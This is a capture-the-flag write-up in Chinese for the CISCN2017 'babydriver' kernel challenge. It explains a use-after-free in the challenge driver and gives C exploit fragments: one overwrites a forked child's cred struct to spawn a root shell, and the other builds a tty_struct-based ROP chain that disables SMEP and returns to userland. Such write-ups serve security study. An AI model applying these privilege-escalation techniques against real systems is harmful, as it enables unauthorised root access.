CISCN2017-babydriver

1.常规解包分析:

1
2
3
4
5
6
7
//注释头

mkdir rootfs
cd rootfs
mv ../rootfs.cpio rootfs.cpio.gz //改名,方便gunzip识别格式
gunzip ./rootfs.cpio.gz //解压
cpio -idm < ./rootfs.cpio //再次解压

2.查看init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

可以看到加载了/lib/modules/4.4.72/babydriver.ko模块,权限为1000即普通权限,但是flag在root/下,需要root权限,那么需要提权。

3.查看启动qemu命令:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

qemu-system-x86_64\
-initrd rootfs.cpio\
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1'\
-enable-kvm \
-monitor /dev/null \
-m 64M \
--nographic\
-smp cores=1,threads=1 \
-cpu kvm64,+smep\

很常规,唯一需要注意的是开启了smep保护

4.IDA打开分析加载的babydriver.ko模块,一般漏洞就在这里,这里就是UAF漏洞,漏洞点在全局变量的设置:

▲用到的知识点:这里由于是linux内核,那么当Linux内核模块链接到内核中,如果在Ko模块的源代码中它们具有全局变量,则每个全局变量只有一个副本,每个ko模块的设备程序共享这个全局变量

(1)由于babydev_struct是个全局变量,所以打开两个babydriver.ko设备之后,第一个设备程序fd1使用command == 0x10001调用babyioctl函数,申请堆块后,如果第二个设备程序fd2再调用babyioctl函数申请堆块,则会覆盖掉babydev_struct.device_buf。

(2)那么如果将第一个设备释放掉,则babydev_struct.device_buf指向的内存会被标记为释放状态,但是仍然可以通过fd2来修改这块内存,造成UAF。

(3)最开始通过调用babyioctl函数将这块内存大小修改为size的堆块,之后如果再申请size大小的内存,就会先将这块内存申请回来,然后我们还是可以通过UAF使用fd2来修改这块本不应该能修改的内存。

(4)这时就考虑将这块内存申请成什么样的内存来利用,这里一般有两种方法。

▲方法一:利用cred结构体

在kernel中,每一个进程都会创建一个cred结构体,用来存储进程的权限等信息

①修改size大小为cred结构体大小,再利用fork创建子进程,过程中会创建的cred结构体,那么就可以将这块内存变成子进程的cred结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//注释头

// 打开两次设备,触发伪条件竞争
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);

// 释放fd1
close(fd1);

// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();

②之后修改子进程cred中的uid,gid为0,使其为root权限,即可将子进程提权。提权之后即可调用system(“/bin/sh”)获得root权限的shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//注释头

if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}

else if(pid == 0)
{
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);

if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}

else
{
wait(NULL);
}
close(fd2);

▲方法二:打开设备ptmx,利用创建的tty_struct结构体和修改函数指针来ROP。

(一般ROP的调用需要关掉smep保护)

①修改size大小为tty_struct结构体大小,释放空间,之后用户空间打开ptmx设备,就会将这块内存申请为tty_struct结构体。

1
2
3
4
5
6
7
//注释头

int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);

②修改tty_struct结构体中的const struct tty_operations *ops;指针指向用户空间伪造的fake_tty_operations结构体。

1
2
3
4
5
//注释头

size_t fake_tty_struct[4] = {0};
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations;

③将用户空间的fake_tty_operations中的write函数指针指向ROP链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//注释头

void* fake_tty_operations[30];
--------------------------------------------------------------------
for(int i = 0; i < 30; i++)
{
fake_tty_operations[i] = 0xFFFFFFFF8181BFC5;
}
fake_tty_operations[0] = 0xffffffff810635f5; //pop rax; pop rbp; ret;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[3] = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret
---------------------------------------------------------------------
int i = 0;
size_t rop[32] = {0};
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

④向ptmx设备写入内容,即可调用write函数从而调用ROP链。

⑤利用ROP链关掉semp保护,之后Ret2Usr即可。